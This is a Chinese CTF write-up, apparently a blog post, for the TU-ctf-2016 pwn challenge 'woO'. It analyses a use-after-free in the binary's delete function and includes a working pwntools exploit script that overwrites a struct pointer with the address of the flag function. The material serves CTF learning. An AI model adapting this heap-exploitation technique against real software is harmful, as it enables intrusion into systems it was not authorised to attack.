TU-ctf-2016 pwn woO 分析记录

小动物很可爱的说?

放在ida中分析,发现已经有了获取flag的函数,不需要自己找system了,接下来就是如何控制程序的执行流程。

首先对程序功能作基本的分析:

新建动物时malloc一个结构体存放动物的信息,如果是熊,结构体的0x0-0x8存放0xdeadbeef,0x8-0x14存放动物的名字,0x14-0x20存放动物的type;

如果是其他动物,从0开始存放动物的名字。维护了一个全局指针pointers,作为一个目录表记录所有的结构体地址。


使用uaf的姿势,关键在于delete功能:

void deleteAnimal()
{
  int v0; // [sp+Ch] [bp-4h]@1

  puts("Choose your friends wisely..");
  puts("Which element do you want to delete?");
  fflush(stdout);
  __isoc99_scanf("%d", &v0);
  getchar();
  if ( v0 > 0 && v0 <= 4 )
    free(*(&pointers + v0));
}
首先第一个结构体无法被delete,所以大致流程为:makebear--->makebear---->makebear--->delete(1) 下次malloc时就会优先分配到第二个结构体的位置,此时maketiger(除熊外随便动物,不能是熊,否则会更新bearoffset),输入动物的名字时就会从第二个结构体的起始处开始存放,从而覆盖掉第三个结构体起始处的0xdeadbeef:



此时调用delete就会执行&pointers+3  (0x155e470)指向的指令,从而实现程序流程控制

作者已经给出了getflag的函数不需要自己再构造system来getshell,getflag的函数地址位0x4008dd

参考大佬的exp:

#!/usr/bin/python2
# coding:utf-8
from pwn import *

def make_bear(s, name='hello'):
    log.info('making a bear with name ' + name)
    s.recv()
    s.sendline('3')
    s.recv()
    s.sendline('3')
    s.recv()
    s.sendline(name)

def make_tiger(s, name='hello'):
    log.info('making a tiger with name ' + name)
    s.recv()
    s.sendline('2')
    s.recv()
    s.sendline('3')
    s.recv()
    s.sendline(name)

def delete_animal(s, num):
    log.info('delete animal ' + num)
    s.recv()
    s.sendline('4')
    s.recv()
    s.sendline(num)

def send_pwn(s):
    log.info('sending to pwn')
    s.recv()
    s.sendline('4919')

def pwn():
    s = process("./ani")

    make_bear(s)
    make_bear(s)
    make_bear(s)
    delete_animal(s, '1')
    make_tiger(s, 'a' * 32 + '\xdd\x08\x40\x00')
    gdb.attach(s,'b pwnMe')
    send_pwn(s)
    log.info("flag is :" + s.recv())

if __name__ == "__main__":
    pwn()


参考:http://blog.csdn.net/qq_29343201/article/details/53503052


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值